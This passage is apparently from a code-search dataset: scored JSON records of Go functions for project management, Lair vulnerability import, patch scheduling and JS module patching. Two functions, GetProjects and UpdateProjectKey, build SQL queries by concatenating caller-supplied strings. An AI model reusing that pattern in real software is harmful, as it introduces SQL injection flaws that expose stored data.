marked as 'skipped' meaning they didn't exceed\n\t\t\t// port count limit.\n\t\t\tfor idx, host := range docIssue.Hosts {\n\t\t\t\tif _, skipped := skippedHosts[host.IPv4]; !skipped {\n\t\t\t\t\thostList = append(hostList, docIssue.Hosts[idx])\n\t\t\t\t}\n\t\t\t}\n\t\t\tid := bson.NewObjectId().Hex()\n\t\t\tissue.ID = id\n\t\t\tissue.ProjectID = pid\n\t\t\tissue.Title = docIssue.Title\n\t\t\tissue.Description = docIssue.Description\n\t\t\tissue.Solution = docIssue.Solution\n\t\t\tissue.Evidence = docIssue.Evidence\n\t\t\tissue.CVSS = docIssue.CVSS\n\t\t\tissue.Rating = calcRating(issue.CVSS)\n\t\t\tissue.IsConfirmed = docIssue.IsConfirmed\n\t\t\tissue.IsFlagged = docIssue.IsFlagged\n\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\tissue.IdentifiedBy = []lair.IdentifiedBy{lair.IdentifiedBy{Tool: doc.Tool}}\n\t\t\tissue.Status = docIssue.Status\n\t\t\tissue.Files = append(issue.Files, docIssue.Files...)\n\t\t\tif !a.IsValidStatus(issue.Status) {\n\t\t\t\tissue.Status = lair.StatusGrey\n\t\t\t}\n\t\t\tissue.PluginIDs = docIssue.PluginIDs\n\t\t\tissue.CVEs = docIssue.CVEs\n\t\t\tissue.Notes = docIssue.Notes\n\t\t\tissue.Hosts = hostList\n\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\"%s - New issue found: %s\",\n\t\t\t\ttime.Now().String(),\n\t\t\t\tdocIssue.Title,\n\t\t\t)\n\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\n\t\t\tif err := db.C(a.C.Issues).Insert(issue); err != nil {\n\t\t\t\tproject.DroneLog = append(project.DroneLog, fmt.Sprintf(\"Failed to import issue %s\", issue.Title))\n\t\t\t}\n\t\t}\n\n\t\tif knownIssue {\n\n\t\t\t// Used for tracking if changes were made to issue\n\t\t\tdata := []byte(fmt.Sprintf(\"%+v\", issue))\n\t\t\tpreMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t\tissue.Title = docIssue.Title\n\t\t\tissue.Description = docIssue.Description\n\t\t\tissue.Solution = docIssue.Solution\n\t\t\tif issue.Evidence != docIssue.Evidence {\n\t\t\t\tissue.Evidence = issue.Evidence + \"\\n\\n\" + docIssue.Evidence\n\t\t\t}\n\n\t\t\t// Add any new CVEs\n\t\t\tfor _, docCVE := range docIssue.CVEs {\n\t\t\t\tfound := false\n\t\t\t\tfor _, dbCVE := range issue.CVEs {\n\t\t\t\t\tif dbCVE == docCVE {\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\t\tissue.CVEs = removeDuplicates(append(issue.CVEs, docCVE))\n\t\t\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add any new files\n\t\t\tfor idx, docFile := range docIssue.Files {\n\t\t\t\tknownFile := false\n\t\t\t\tfor k, f := range issue.Files {\n\t\t\t\t\tif docFile.FileName == f.FileName {\n\t\t\t\t\t\t// File exists, update URL\n\t\t\t\t\t\tknownFile = true\n\t\t\t\t\t\tissue.Files[k].URL = docFile.URL\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !knownFile {\n\t\t\t\t\tissue.Files = append(issue.Files, docIssue.Files[idx])\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add any new hosts\n\t\t\tfor _, hk := range docIssue.Hosts {\n\t\t\t\tif _, skipped := skippedHosts[hk.IPv4]; skipped {\n\t\t\t\t\t// Host is marked as skipped, meaning it exceeded port limit. Do not process it.\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfound := false\n\t\t\t\tfor _, dbHk := range issue.Hosts {\n\t\t\t\t\tif dbHk.IPv4 == hk.IPv4 && dbHk.Port == hk.Port && dbHk.Protocol == hk.Protocol {\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\t\tissue.Hosts = append(issue.Hosts, hk)\n\t\t\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\t\t\tmsg := fmt.Sprintf(\n\t\t\t\t\t\t\"%s - %s:%d/%s - New issue found: %s\",\n\t\t\t\t\t\ttime.Now().String(),\n\t\t\t\t\t\thk.IPv4,\n\t\t\t\t\t\thk.Port,\n\t\t\t\t\t\thk.Protocol,\n\t\t\t\t\t\tdocIssue.Title,\n\t\t\t\t\t)\n\t\t\t\t\tproject.DroneLog = append(project.DroneLog, msg)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add any new plugins\n\t\t\tfor _, docPlugin := range docIssue.PluginIDs {\n\t\t\t\tfound := false\n\t\t\t\tfor _, dbPlugin := range issue.PluginIDs {\n\t\t\t\t\tif dbPlugin.Tool == docPlugin.Tool && dbPlugin.ID == docPlugin.ID {\n\t\t\t\t\t\tfound = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !found {\n\t\t\t\t\tissue.PluginIDs = append(issue.PluginIDs, docPlugin)\n\t\t\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Append notes\n\t\t\tissue.Notes = removeDuplicateNotes(append(issue.Notes, docIssue.Notes...))\n\n\t\t\t// Add any new 'Identified By' info\n\t\t\tfound := false\n\t\t\tfor _, idBy := range issue.IdentifiedBy {\n\t\t\t\tif idBy.Tool == doc.Tool {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\tissue.IdentifiedBy = append(issue.IdentifiedBy, lair.IdentifiedBy{Tool: doc.Tool})\n\t\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\t}\n\n\t\t\t// Only set flag to 'true', don't unset it\n\t\t\tif docIssue.IsFlagged {\n\t\t\t\tissue.IsFlagged = true\n\t\t\t}\n\n\t\t\t// Only set confirmed to 'true', don't unset it\n\t\t\tif docIssue.IsConfirmed {\n\t\t\t\tissue.IsConfirmed = true\n\t\t\t}\n\n\t\t\t// Check if issue data was changed\n\t\t\tdata = []byte(fmt.Sprintf(\"%+v\", issue))\n\t\t\tpostMD5 := fmt.Sprintf(\"%x\", md5.Sum(data))\n\n\t\t\tif preMD5 != postMD5 {\n\t\t\t\t// Upsert changes\n\t\t\t\tissue.LastModifiedBy = doc.Tool\n\t\t\t\tdb.C(a.C.Issues).UpsertId(issue.ID, issue)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Ensure the correct drone log hisory size is maintained\n\tif len(project.DroneLog) > a.History {\n\t\tproject.DroneLog = project.DroneLog[len(project.DroneLog)-a.History:]\n\t}\n\n\t// Update project\n\tdb.C(a.C.Projects).UpdateId(project.ID, project)\n\n\t// End of import\n\ta.R.JSON(w, http.StatusOK, &Response{Status: \"Ok\"})\n}", "title": "" }, { "docid": "5f186723ea0ae60cef99b93d3139c4ed", "score": "0.41779727", "text": "func WithProjectID(id string) Option {\n\treturn func(o *Options) {\n\t\to.ProjectID = id\n\t}\n}", "title": "" }, { "docid": "47c1cceac8df7cb29caac298249a17e7", "score": "0.4177844", "text": "func newCompiledJSONPatch(patch []v1beta1.PatchOperation, jsonPathLanguage *gval.Language) ([]*compiledJSONPatchOperation, error) {\n\tvar err error\n\tvar compiledPatch = []*compiledJSONPatchOperation{}\n\n\tfor _, po := range patch {\n\t\t// Default to JSON \"null\" value in case po.Value is nil.\n\t\tvar value string = \"null\"\n\t\tvar patchSelect gval.Evaluable = nil\n\n\t\tif po.Value != nil {\n\t\t\tvalue = *po.Value\n\t\t}\n\n\t\t// Compile the patch select if any.\n\t\tif po.Select != nil {\n\t\t\tselectExpression := fmt.Sprintf(`{#: %s}`, *po.Select)\n\t\t\tpatchSelect, err = jsonPathLanguage.NewEvaluable(selectExpression)\n\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\t// If the path contains placeholders such as #0 and #1, we need to convert them to Sprintf template.\n\t\tpathSprintfTemplate := pathTemplateToSprintfTemplate(po.Path)\n\n\t\t// Compile the go template value.\n\t\ttpl, err := util.NewSafeTemplate(po.Path).Parse(util.PreProcessModRuleGoTemplate(value))\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcompiledPatch = append(compiledPatch, &compiledJSONPatchOperation{\n\t\t\top: po.Operation,\n\t\t\tpatchSelect: patchSelect,\n\t\t\tpath: po.Path,\n\t\t\tpathSprintfTemplate: pathSprintfTemplate,\n\t\t\tvalueTemplate: tpl,\n\t\t})\n\t}\n\n\treturn compiledPatch, nil\n}", "title": "" }, { "docid": "d9bf0ea4270e25631f1cecbd36a07229", "score": "0.4177312", "text": "func (a *FormsApiService) GETProjectsApiV3FormsformIdJson(ctx _context.Context, formId int32) ApiGETProjectsApiV3FormsformIdJsonRequest {\n\treturn ApiGETProjectsApiV3FormsformIdJsonRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t\tformId: formId,\n\t}\n}", "title": "" }, { "docid": "710157c6645208e184eb22117ebf8cd6", "score": "0.41748685", "text": "func (c *CustomFuncs) MergeProjectWithValues(\n\tprojections memo.ProjectionsExpr, passthrough opt.ColSet, input memo.RelExpr,\n) memo.RelExpr {\n\tnewExprs := make(memo.ScalarListExpr, 0, len(projections)+passthrough.Len())\n\tnewTypes := make([]*types.T, 0, len(newExprs))\n\tnewCols := make(opt.ColList, 0, len(newExprs))\n\n\tvalues := input.(*memo.ValuesExpr)\n\ttuple := values.Rows[0].(*memo.TupleExpr)\n\tfor i, colID := range values.Cols {\n\t\tif passthrough.Contains(colID) {\n\t\t\tnewExprs = append(newExprs, tuple.Elems[i])\n\t\t\tnewTypes = append(newTypes, tuple.Elems[i].DataType())\n\t\t\tnewCols = append(newCols, colID)\n\t\t}\n\t}\n\n\tfor i := range projections {\n\t\titem := &projections[i]\n\t\tnewExprs = append(newExprs, item.Element)\n\t\tnewTypes = append(newTypes, item.Element.DataType())\n\t\tnewCols = append(newCols, item.Col)\n\t}\n\n\ttupleTyp := types.MakeTuple(newTypes)\n\trows := memo.ScalarListExpr{c.f.ConstructTuple(newExprs, tupleTyp)}\n\treturn c.f.ConstructValues(rows, &memo.ValuesPrivate{\n\t\tCols: newCols,\n\t\tID: values.ID,\n\t})\n}", "title": "" }, { "docid": "5223062fb534958da8d4f91f2f98968b", "score": "0.41747984", "text": "func (p *Postgres) UpdateProjectKey(projectName string, data []byte, keys ...string) error {\n\tkeysFormat := strings.Join(keys, \",\")\n\t_, err := p.db.Exec(fmt.Sprintf(\"UPDATE trees set data=jsonb_set(data, '{%s}', $1) WHERE project=$2\", keysFormat), data, projectName)\n\treturn err\n}", "title": "" }, { "docid": "824782f5a77507d9f06c000273711a0e", "score": "0.41722575", "text": "func (b *Bundle) ListAddonByProjectID(projectID, orgID int64) (*apistructs.AddonListResponse, error) {\n\thost, err := b.urls.Orchestrator()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thc := b.hc\n\n\tvar data apistructs.AddonListResponse\n\tr, err := hc.Get(host).\n\t\tPath(fmt.Sprintf(\"/api/addons\")).\n\t\tHeader(httputil.InternalHeader, \"bundle\").\n\t\tHeader(httputil.UserHeader, \"bundle\").\n\t\tHeader(httputil.OrgHeader, strconv.FormatInt(orgID, 10)).\n\t\tParam(\"type\", \"project\").\n\t\tParam(\"value\", strconv.FormatInt(projectID, 10)).\n\t\tDo().\n\t\tJSON(&data)\n\tif err != nil {\n\t\treturn nil, apierrors.ErrInvoke.InternalError(err)\n\t}\n\tif !r.IsOK() {\n\t\treturn nil, toAPIError(r.StatusCode(), data.Error)\n\t}\n\treturn &data, nil\n}", "title": "" }, { "docid": "39d34ad0189f8cd8f820a5d3aea4ec57", "score": "0.41670367", "text": "func ClientidContains(v string) predicate.Project {\n\treturn predicate.Project(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldClientid), v))\n\t})\n}", "title": "" }, { "docid": "8d08d1299b7430d2772de90fb4ed65b6", "score": "0.41634923", "text": "func (o *AllLookmlTestsParams) SetProjectID(projectID string) {\n\to.ProjectID = projectID\n}", "title": "" }, { "docid": "5da0aa164395249ef17a1378d03e7654", "score": "0.41602236", "text": "func (project *ProjectV1) ListProjectsWithContext(ctx context.Context, listProjectsOptions *ListProjectsOptions) (result *ProjectCollection, response *core.DetailedResponse, err error) {\n\terr = core.ValidateStruct(listProjectsOptions, \"listProjectsOptions\")\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuilder := core.NewRequestBuilder(core.GET)\n\tbuilder = builder.WithContext(ctx)\n\tbuilder.EnableGzipCompression = project.GetEnableGzipCompression()\n\t_, err = builder.ResolveRequestURL(project.Service.Options.URL, `/v1/projects`, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor headerName, headerValue := range listProjectsOptions.Headers {\n\t\tbuilder.AddHeader(headerName, headerValue)\n\t}\n\n\tsdkHeaders := common.GetSdkHeaders(\"project\", \"V1\", \"ListProjects\")\n\tfor headerName, headerValue := range sdkHeaders {\n\t\tbuilder.AddHeader(headerName, headerValue)\n\t}\n\tbuilder.AddHeader(\"Accept\", \"application/json\")\n\n\tif listProjectsOptions.Start != nil {\n\t\tbuilder.AddQuery(\"start\", fmt.Sprint(*listProjectsOptions.Start))\n\t}\n\tif listProjectsOptions.Limit != nil {\n\t\tbuilder.AddQuery(\"limit\", fmt.Sprint(*listProjectsOptions.Limit))\n\t}\n\n\trequest, err := builder.Build()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvar rawResponse map[string]json.RawMessage\n\tresponse, err = project.Service.Request(request, &rawResponse)\n\tif err != nil {\n\t\treturn\n\t}\n\tif rawResponse != nil {\n\t\terr = core.UnmarshalModel(rawResponse, \"\", &result, UnmarshalProjectCollection)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tresponse.Result = result\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "df045f0ba8515aea0048e7e17f4d01d4", "score": "0.41567242", "text": "func PruneProject(baseDir string, lp LockedProject, options PruneOptions, logger *log.Logger) error {\n\tprojectDir := filepath.Join(baseDir, string(lp.Ident().ProjectRoot))\n\n\tif (options & PruneNestedVendorDirs) != 0 {\n\t\tif err := pruneNestedVendorDirs(projectDir); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif (options & PruneUnusedPackages) != 0 {\n\t\tif err := pruneUnusedPackages(lp, projectDir, logger); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to prune unused packages\")\n\t\t}\n\t}\n\n\tif (options & PruneNonGoFiles) != 0 {\n\t\tif err := pruneNonGoFiles(projectDir, logger); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to prune non-Go files\")\n\t\t}\n\t}\n\n\tif (options & PruneGoTestFiles) != 0 {\n\t\tif err := pruneGoTestFiles(projectDir, logger); err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to prune Go test files\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "43932dced72de779c6ae860bac662291", "score": "0.41546816", "text": "func getProjects(r *http.Request) ([]byte, error) {\n\tm := bson.M{}\n\tif pid, e := convert.Id(r.FormValue(\"id\")); e == nil {\n\t\tm[db.ID] = pid\n\t}\n\tp, e := db.Projects(m, nil)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\treturn util.JSON(map[string]interface{}{\"projects\": p})\n}", "title": "" }, { "docid": "72f2d00dd3268565fb0fe33bce5cb202", "score": "0.41532022", "text": "func ProjectUpdate(w http.ResponseWriter, r *http.Request) {\n\n\t// Init output\n\toutput := []byte(\"\")\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\tprojectUUID := gorillaContext.Get(r, \"auth_project_uuid\").(string)\n\t// Read POST JSON body\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\terr := APIErrorInvalidRequestBody()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Parse pull options\n\tpostBody, err := projects.GetFromJSON(body)\n\tif err != nil {\n\t\terr := APIErrorInvalidRequestBody()\n\t\trespondErr(w, err)\n\t\tlog.Error(string(body[:]))\n\t\treturn\n\t}\n\n\tmodified := time.Now().UTC()\n\t// Get Result Object\n\n\tres, err := projects.UpdateProject(projectUUID, postBody.Name, postBody.Description, modified, refStr)\n\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\terr := APIErrorNotFound(\"ProjectUUID\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tif strings.HasPrefix(err.Error(), \"invalid\") {\n\t\t\terr := APIErrorInvalidData(err.Error())\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Output result to JSON\n\tresJSON, err := res.ExportJSON()\n\tif err != nil {\n\t\terr := APIErrExportJSON()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Write response\n\toutput = []byte(resJSON)\n\trespondOK(w, output)\n\n}", "title": "" }, { "docid": "83cbd12b2274b90e1d27f3eed58d2b76", "score": "0.41505182", "text": "func (o *GetWorkItemParams) WithProject(project string) *GetWorkItemParams {\n\to.SetProject(project)\n\treturn o\n}", "title": "" }, { "docid": "d9387d27d59ca5f9f0ba84c74d3b1576", "score": "0.41445985", "text": "func patch(modules *map[string][]byte) {\n\tpatchesFolders, err := os.ReadDir(patchesDir)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpatches := []PatchInfo{}\n\n\tfor _, patchFile := range patchesFolders {\n\t\tif !strings.HasSuffix(patchFile.Name(), \".json\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tpatchFileContent, err := os.ReadFile(fmt.Sprintf(\"%v/%v\", patchesDir, patchFile.Name()))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tvar info PatchInfo\n\t\tjson.Unmarshal(patchFileContent, &info)\n\t\tinfo.Name = strings.Replace(patchFile.Name(), \".json\", \"\", -1)\n\n\t\tfor index, patch := range info.Patches {\n\t\t\t// Load regex patch\n\t\t\tif patch.Rfind != nil {\n\t\t\t\tinfo.Patches[index].FindRegex = regexp.MustCompile(*patch.Rfind)\n\t\t\t\tfind := strings.Replace(*patch.Rfind, \"\\\\\", \"\", -1)\n\t\t\t\tinfo.Patches[index].Find = &find\n\t\t\t}\n\n\t\t\t// Try to load replace values\n\t\t\tif patch.Replace == nil {\n\t\t\t\tif patch.FReplace != nil || patch.Fappend != nil {\n\t\t\t\t\tjsContent, err := os.ReadFile(fmt.Sprintf(\"%v/%v\", patchesDir, strings.Replace(patchFile.Name(), \".json\", \".js\", 1)))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tlines := strings.Split(string(jsContent), \"\\n\")\n\n\t\t\t\t\tif patch.FReplace != nil {\n\t\t\t\t\t\tinfo.Patches[index].Replace = &lines[*patch.FReplace]\n\t\t\t\t\t}\n\n\t\t\t\t\tif patch.Fappend != nil {\n\t\t\t\t\t\treplace := *info.Patches[index].Find + lines[*patch.Fappend]\n\t\t\t\t\t\tinfo.Patches[index].Replace = &replace\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif patch.Append != nil {\n\t\t\t\t\treplace := *info.Patches[index].Find + *patch.Append\n\t\t\t\t\tinfo.Patches[index].Replace = &replace\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpatches = append(patches, info)\n\t}\n\n\tmoduleFindRegex := regexp.MustCompile(\"__d\\\\(function\\\\(g,r,i,a,m,e,d\\\\){(.*)},(.*),\\\\[(.*)\\\\]\\\\)\")\n\n\tfor _, info := range patches {\n\t\tif info.Modules != nil && info.Modules.Find != nil {\n\t\t\tfmt.Printf(\"Finding modules for %v\\n\", info.Name)\n\n\t\t\tfor _, moduleFind := range *info.Modules.Find {\n\t\t\t\tfor moduleID := range *modules {\n\t\t\t\t\tmodule := (*modules)[moduleID]\n\n\t\t\t\t\tif strings.Contains(string(module), moduleFind) {\n\t\t\t\t\t\tinfo.Modules.ToImport = append(info.Modules.ToImport, moduleID)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfmt.Printf(\"Applying patches for %v\\n\", info.Name)\n\t\tfor moduleID := range *modules {\n\t\t\tfor _, patch := range info.Patches {\n\t\t\t\tapplyModules := func() {\n\t\t\t\t\tif info.Modules != nil {\n\t\t\t\t\t\tfor index, moduleImportID := range info.Modules.ToImport {\n\t\t\t\t\t\t\tmatches := moduleFindRegex.FindAllStringSubmatch(string((*modules)[moduleID]), -1)\n\t\t\t\t\t\t\tmoduleCode := matches[0][1]\n\n\t\t\t\t\t\t\tmodulesArray := matches[0][3]\n\t\t\t\t\t\t\tmodulesArrayLength := len(strings.Split(modulesArray, \",\"))\n\n\t\t\t\t\t\t\t(*modules)[moduleID] = []byte(strings.ReplaceAll(string((*modules)[moduleID]), moduleCode, fmt.Sprintf(\"var cmod%v=r(d[%v]);\", index+1, modulesArrayLength)+moduleCode))\n\t\t\t\t\t\t\t(*modules)[moduleID] = []byte(strings.ReplaceAll(string((*modules)[moduleID]), modulesArray, modulesArray+fmt.Sprintf(\",%v\", moduleImportID)))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif patch.FindRegex != nil && patch.FindRegex.Match((*modules)[moduleID]) || strings.Contains(string((*modules)[moduleID]), *patch.Find) {\n\t\t\t\t\tapplyModules()\n\t\t\t\t\tif patch.FindRegex != nil {\n\t\t\t\t\t\t(*modules)[moduleID] = []byte(patch.FindRegex.ReplaceAllString(string((*modules)[moduleID]), *patch.Replace))\n\t\t\t\t\t} else {\n\t\t\t\t\t\t(*modules)[moduleID] = []byte(strings.ReplaceAll(string((*modules)[moduleID]), *patch.Find, *patch.Replace))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfmt.Println(\"Patches were applied!\")\n}", "title": "" }, { "docid": "81469ef26cd33d14b629dfbc70f128a5", "score": "0.41337237", "text": "func Projects(mods ...qm.QueryMod) projectQuery {\n\tmods = append(mods, qm.From(\"`projects`\"))\n\treturn projectQuery{NewQuery(mods...)}\n}", "title": "" }, { "docid": "3aa09329d748cd465c681a2d6b10e5b4", "score": "0.4133065", "text": "func pollProjectHandler(ctx *router.Context) {\n\tc, r, w := ctx.Context, ctx.Request, ctx.Writer\n\tdefer r.Body.Close()\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tlogging.WithError(err).Errorf(c, \"Failed to read request body.\")\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\trequest := &admin.PollProjectRequest{}\n\tif err = proto.Unmarshal(body, request); err != nil {\n\t\tlogging.WithError(err).Errorf(c, \"Failed to unmarshal request.\")\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\tif err = pollProject(c, request.Project, gc.GerritServer, config.LuciConfigServer); err != nil {\n\t\tlogging.WithError(err).Errorf(c, \"Failed to poll project.\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n}", "title": "" }, { "docid": "c6d8e34b1807bbc4784f6b9a8f056a01", "score": "0.41259518", "text": "func (b *ProjectModels) GetProjects(addwhere string, limit string, offset string, orderby string) ([]ProjectAll, error) {\n\tresult := make([]ProjectAll, 0)\n\tjoin := fmt.Sprintf(\"join %s on %s.id = %s.project_id \", TblProjectDetail, PROJECT, TblProjectDetail)\n\tselects := fmt.Sprintf(\"%s.*,%s.*\", PROJECT, TblProjectDetail)\n\torder := fmt.Sprintf(\"%s.%s\", PROJECT, orderby)\n\twhere := `(name LIKE \"%` + addwhere + `%\" OR description LIKE \"%` + addwhere + `%\" OR address LIKE \"%` + addwhere + `%\")`\n\n\terr := configs.GetDB.Table(PROJECT).Select(selects).Joins(join).Where(where).Limit(limit).Offset(offset).Order(order).Find(&result).Error\n\treturn result, err\n}", "title": "" }, { "docid": "baf14c76868597d33c0f5c773c46c608", "score": "0.41243726", "text": "func NewPutProjectsIdRequestWithBody(server string, id string, contentType string, body io.Reader) (*http.Request, error) {\n\tvar err error\n\n\tvar pathParam0 string\n\n\tpathParam0, err = runtime.StyleParam(\"simple\", false, \"id\", id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tqueryUrl, err := url.Parse(server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbasePath := fmt.Sprintf(\"/projects/%s\", pathParam0)\n\tif basePath[0] == '/' {\n\t\tbasePath = basePath[1:]\n\t}\n\n\tqueryUrl, err = queryUrl.Parse(basePath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(\"PUT\", queryUrl.String(), body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Add(\"Content-Type\", contentType)\n\treturn req, nil\n}", "title": "" }, { "docid": "daf6af508ec253e14461b4c51eb60182", "score": "0.41221997", "text": "func ProjectListAll(w http.ResponseWriter, r *http.Request) {\n\n\t// Init output\n\toutput := []byte(\"\")\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\n\t// Get Results Object\n\n\tres, err := projects.Find(\"\", \"\", refStr)\n\n\tif err != nil && err.Error() != \"not found\" {\n\t\terr := APIErrQueryDatastore()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Output result to JSON\n\tresJSON, err := res.ExportJSON()\n\n\tif err != nil {\n\t\terr := APIErrExportJSON()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Write response\n\toutput = []byte(resJSON)\n\trespondOK(w, output)\n\n}", "title": "" }, { "docid": "2211ae53b6a6e8e5e98fc6e1d4b43c76", "score": "0.41214618", "text": "func SchedulePatch(ctx context.Context, env evergreen.Environment, patchId string, version *model.Version, patchUpdateReq model.PatchUpdate) (int, error) {\n\tvar err error\n\tp, err := patch.FindOneId(patchId)\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, errors.Wrapf(err, \"loading patch '%s'\", patchId)\n\t}\n\tif p == nil {\n\t\treturn http.StatusBadRequest, errors.Errorf(\"patch '%s' not found\", patchId)\n\t}\n\n\tif p.IsCommitQueuePatch() {\n\t\treturn http.StatusBadRequest, errors.New(\"can't schedule commit queue patch\")\n\t}\n\tprojectRef, err := model.FindMergedProjectRef(p.Project, p.Version, true)\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, errors.Wrapf(err, \"finding project ref '%s' for version '%s'\", p.Project, p.Version)\n\t}\n\tif projectRef == nil {\n\t\treturn http.StatusInternalServerError, errors.Errorf(\"project '%s' for version '%s' not found\", p.Project, p.Version)\n\t}\n\n\tstatusCode, err := model.ConfigurePatch(ctx, env.Settings(), p, version, projectRef, patchUpdateReq)\n\tif err != nil {\n\t\treturn statusCode, err\n\t}\n\tif p.Version != \"\" { // if the version already exists, no more to do\n\t\treturn http.StatusOK, nil\n\t}\n\n\t// create a separate context from the one the caller has so that the caller\n\t// can't interrupt the db operations here\n\tnewCxt := context.Background()\n\t// Process additional patch trigger aliases added via UI.\n\t// Child patches created with the CLI --trigger-alias flag go through a separate flow, so ensure that new child patches are also created before the parent is finalized.\n\tif err := ProcessTriggerAliases(ctx, p, projectRef, env, patchUpdateReq.PatchTriggerAliases); err != nil {\n\t\treturn http.StatusInternalServerError, errors.Wrap(err, \"processing patch trigger aliases\")\n\t}\n\tif len(patchUpdateReq.PatchTriggerAliases) > 0 {\n\t\tp.Triggers.Aliases = patchUpdateReq.PatchTriggerAliases\n\t\tif err = p.SetTriggerAliases(); err != nil {\n\t\t\treturn http.StatusInternalServerError, errors.Wrapf(err, \"attaching trigger aliases '%s'\", p.Id.Hex())\n\t\t}\n\t}\n\t_, err = model.FinalizePatch(newCxt, p, p.GetRequester(), \"\")\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, errors.Wrap(err, \"finalizing patch\")\n\t}\n\n\tif p.IsGithubPRPatch() {\n\t\tjob := NewGithubStatusUpdateJobForNewPatch(p.Id.Hex())\n\t\tif err := evergreen.GetEnvironment().LocalQueue().Put(newCxt, job); err != nil {\n\t\t\treturn http.StatusInternalServerError, errors.Wrap(err, \"adding GitHub status update job to queue\")\n\t\t}\n\t}\n\treturn http.StatusOK, nil\n}", "title": "" }, { "docid": "8ed8bc786e87288ed31fbe7d7d970c7c", "score": "0.41169143", "text": "func PatchParameteri(pname uint32, value int32) {\n\tC.glowPatchParameteri(gpPatchParameteri, (C.GLenum)(pname), (C.GLint)(value))\n}", "title": "" }, { "docid": "8ed8bc786e87288ed31fbe7d7d970c7c", "score": "0.41169143", "text": "func PatchParameteri(pname uint32, value int32) {\n\tC.glowPatchParameteri(gpPatchParameteri, (C.GLenum)(pname), (C.GLint)(value))\n}", "title": "" }, { "docid": "b1a85de4fd23788a5fb0da506c8170e2", "score": "0.4109529", "text": "func projectRefPipelineForPeriodicBuilds() 